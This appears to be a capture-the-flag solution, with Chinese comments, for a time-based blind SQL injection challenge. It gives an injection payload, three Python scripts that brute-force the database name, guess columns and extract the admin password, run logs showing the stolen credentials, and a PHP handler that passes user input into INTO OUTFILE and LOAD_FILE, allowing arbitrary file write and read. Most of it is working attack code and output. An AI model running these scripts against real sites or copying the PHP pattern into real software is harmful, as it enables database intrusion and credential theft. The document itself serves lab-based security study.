1
SELECT * FROM users WHERE user='$user' AND passwd='$passwd';

1
nonexistent' || sleep(2.5 * (ascii(substr(database(),1,1))=99)) #

1
import requests
2
import time
3
import string
4

5
# === 配置区域 ===
6
url = "http://18f25160-98b8-4fbe-b4b0-b55ffc1c6886.ctf.g0dsec.com/check.php"
7
sleep_time = 2.5  # 设置延迟时间
8

9
# 字符集：数据库名通常由小写字母、数字、下划线组成
10
chars = string.ascii_lowercase + string.digits + "_"
11

12
print("[*] 开始爆破数据库名...")
13
print(f"[*] 目标 URL: {url}")
14
print("-" * 50)
15

16
db_name = ""
17

18
# 假设数据库名长度不超过 20
19
for i in range(1, 21):
20
    found = False
21
    for char in chars:
22
        char_ord = ord(char)
23

24
        # === Payload 构造 ===
25
        # 原理: user='不存在' || (如果 数据库名第i位是char 则 sleep(2.5)) #
26
        # 1. nonexistent' : 让前面的 user 查询失败 (False)
27
        # 2. || : 逻辑或，执行后面的语句
28
        # 3. ascii(substr(database(), i, 1)) : 取数据库名第 i 位字符的 ASCII 码
29
        # 4. * : 乘法运算。如果条件为真(1)，则 sleep(2.5*1)；如果为假(0)，则 sleep(0)
30

31
        payload = f"nonexistent'||(sleep({sleep_time}*(ascii(substr(database(),{i},1))={char_ord})))#"
32

33
        data = {
34
            "user": payload,
35
            "passwd": "1"  # 密码随便填
36
        }
37

38
        try:
39
            start_time = time.time()
40
            # 发送请求，设置超时时间略小于 sleep_time
41
            # 如果超时，说明服务器 sleep 了，意味着猜对了
42
            requests.post(url, data=data, timeout=2)
43
        except requests.exceptions.ReadTimeout:
44
            # 捕获超时异常，说明猜对了
45
            db_name += char
46
            print(f"[+] 发现第 {i} 位字符: {char}  |  当前数据库名: {db_name}")
47
            found = True
48
            break
49
        except Exception as e:
50
            # 处理网络错误等其他异常
51
            pass
52

53
    if not found:
54
        print(f"\n[*] 爆破结束 (该位置未匹配到字符，可能长度已达上限)。")
55
        break
56

57
print("-" * 50)
58
print(f"[SUCCESS] 最终数据库名: {db_name}")

1
import requests
2
import time
3

4
url = "http://18f25160-98b8-4fbe-b4b0-b55ffc1c6886.ctf.g0dsec.com/check.php"
5
# 常见列名字典
6
columns = ['passwd', 'id', 'username', 'flag', 'password', 'admin']
7

8
print("[*] 正在利用 No-Select 逻辑爆破列名...")
9
print("[*] 原理: nonexistent' || (sleep(2.5 * (col=col))) #")
10

11
for col in columns:
12
    # Payload 逻辑:
13
    # 如果列存在: col=col 为真(1) -> sleep(2.5 * 1) -> 延迟
14
    # 如果列不存在: 报错 -> sleep 不执行 -> 无延迟
15
    payload = f"nonexistent'||(sleep(2.5*({col}={col})))#"
16

17
    data = {"user": payload, "passwd": "1"}
18

19
    try:
20
        requests.post(url, data=data, timeout=2)
21
    except requests.exceptions.ReadTimeout:
22
        print(f"[+] 发现存在列名: {col}")
23
    except:
24
        pass

1
(base) PS C:\Users\G1731\Downloads> & C:/Users/G1731/anaconda3/python.exe c:/Users/G1731/Downloads/2.py
2
[*] 正在利用 No-Select 逻辑爆破列名...
3
[*] 原理: nonexistent' || (sleep(2.5 * (col=col))) #
4
[+] 发现存在列名: passwd
5
[+] 发现存在列名: id

1
import requests
2
import time
3
import urllib3
4
import string
5

6
# 禁用 SSL 警告
7
urllib3.disable_warnings()
8

9
# === 配置区域 ===
10
URL = "http://18f25160-98b8-4fbe-b4b0-b55ffc1c6886.ctf.g0dsec.com/check.php"
11
SLEEP_TIME = 2.0        # 注入延时时间
12
TIMEOUT_SETTING = 1.5   # 请求超时时间 (必须小于 SLEEP_TIME)
13

14
# 字符集：包含字母、数字、标点符号
15
CHARS = string.ascii_letters + string.digits + string.punctuation
16

17
def check_condition(condition_sql):
18
    """
19
    发送 Payload 判断条件是否为真
20
    原理: nonexistent' || (sleep(SLEEP_TIME * (条件))) #
21
    """
22
    payload = f"nonexistent'||(sleep({SLEEP_TIME}*({condition_sql})))#"
23
    data = {"user": payload, "passwd": "1"}
24

25
    try:
26
        # 发送请求
27
        requests.post(URL, data=data, timeout=TIMEOUT_SETTING)
28
        # 如果没有超时，说明 sleep 没执行 -> 条件为假
29
        return False
30
    except requests.exceptions.ReadTimeout:
31
        # 如果超时，说明 sleep 执行了 -> 条件为真
32
        return True
33
    except Exception:
34
        # 网络错误等情况默认返回 False
35
        return False
36

37
def extract_data(target_id, column_name, max_len=60):
38
    """
39
    针对特定 ID 和 列名 提取数据
40
    """
41
    result = ""
42
    print(f"    [+] 正在提取 ID={target_id} 的 {column_name} ...")
43

44
    for i in range(1, max_len + 1):
45
        found_char = False
46
        for char in CHARS:
47
            char_ord = ord(char)
48
            # 核心 Payload: (id=target_id) * (ascii(substr(col,i,1))=char)
49
            condition = f"(id={target_id})*(ascii(substr({column_name},{i},1))={char_ord})"
50

51
            if check_condition(condition):
52
                result += char
53
                print(f"        [>] 进度: {result}", end='\r')
54
                found_char = True
55
                break
56

57
        if not found_char:
58
            break # 这一位没匹配到字符，说明数据结束
59

60
    print(f"\n    [OK] {column_name}: {result}")
61
    return result
62

63
# === 主程序 ===
64
def main():
65
    print("[*] 开始执行 SQL 盲注全量提取脚本...")
66
    print(f"[*] 目标 URL: {URL}")
67
    print("-" * 50)
68

69
    # --- 阶段 1: 确定用户名列名 ---
70
    print("[1] 正在探测存放用户名的列名...")
71
    possible_cols = ['user', 'username', 'name', 'account', 'admin_user', 'login_id']
72
    username_col = "user" # 默认值，防跑不出来
73

74
    for col in possible_cols:
75
        # 探测列是否存在: col=col
76
        if check_condition(f"{col}={col}"):
77
            print(f"[+] 成功定位用户名列: {col}")
78
            username_col = col
79
            break
80
    else:
81
        print("[-] 未在字典中找到特定列名，将使用默认值 'user' 继续尝试。")
82

83
    print("-" * 50)
84

85
    # --- 阶段 2: 遍历 ID 并提取数据 ---
86
    print("[2] 开始遍历 ID (0-5) 并提取凭证...")
87

88
    for user_id in range(0, 6):
89
        # 快速探测 ID 是否存在
90
        if not check_condition(f"id={user_id}"):
91
            print(f"[-] ID={user_id} 不存在")
92
            continue
93

94
        print(f"[!] 发现有效账户 ID={user_id}")
95

96
        # 提取用户名
97
        username = extract_data(user_id, username_col, max_len=20)
98

99
        # 提取密码 (列名固定为 passwd，之前已验证)
100
        password = extract_data(user_id, "passwd", max_len=60)
101

102
        print(f"\n[SUCCESS] 账户获取成功 -> ID: {user_id} | User: {username} | Pass: {password}")
103
        print("-" * 30)
104

105
    print("[*] 所有任务结束。")
106

107
if __name__ == "__main__":
108
    main()

1
(base) PS C:\Users\G1731\Downloads> & C:/Users/G1731/anaconda3/python.exe c:/Users/G1731/Downloads/2.py
2
[*] 开始执行 SQL 盲注全量提取脚本...
3
[*] 目标 URL: http://18f25160-98b8-4fbe-b4b0-b55ffc1c6886.ctf.g0dsec.com/check.php
4
--------------------------------------------------
5
[1] 正在探测存放用户名的列名...
6
[+] 成功定位用户名列: user
7
--------------------------------------------------
8
[2] 开始遍历 ID (0-5) 并提取凭证...
9
[!] 发现有效账户 ID=0
10
    [+] 正在提取 ID=0 的 user ...
11
        [>] 进度: admin
12
    [OK] user: admin
13
    [+] 正在提取 ID=0 的 passwd ...
14
        [>] 进度: 60D53cP455w0rd
15
    [OK] passwd: 60D53cP455w0rd
16

17
[SUCCESS] 账户获取成功 -> ID: 0 | User: admin | Pass: 60D53cP455w0rd
18
------------------------------
19
[-] ID=1 不存在
20
[-] ID=2 不存在
21
[-] ID=3 不存在
22
[-] ID=4 不存在
23
[-] ID=5 不存在
24
[*] 所有任务结束。

1
<?php
2
error_reporting(0);
3
session_start();
4
if (!isset($_SESSION['username'])) {
5
    echo "您没有权限访问此页面, 3秒后自动跳转至主页面";
6
    echo "<script>setTimeout(function(){ window.location.href = 'index.html'; }, 3000);</script>";
7
    die();
8
}
9
include "database.php";
10
$data = new Mysql();
11
$s = $_POST['s'];
12
$d = $_POST['d'];
13

14
if (isset($_GET['operate'])){
15
    switch ($_GET['operate']) {
16
        case "into":
17
            $sql = "SELECT '$s' INTO OUTFILE '$d'";
18
            $data->query($sql);
19
            break;
20
        case "load":
21
            $sql = "SELECT LOAD_FILE('$d')";
22
            echo mysqli_fetch_array($data->query($sql))[0];
23
            break;
24
        default:
25
            echo "It's not allowed";
26
    }
27
}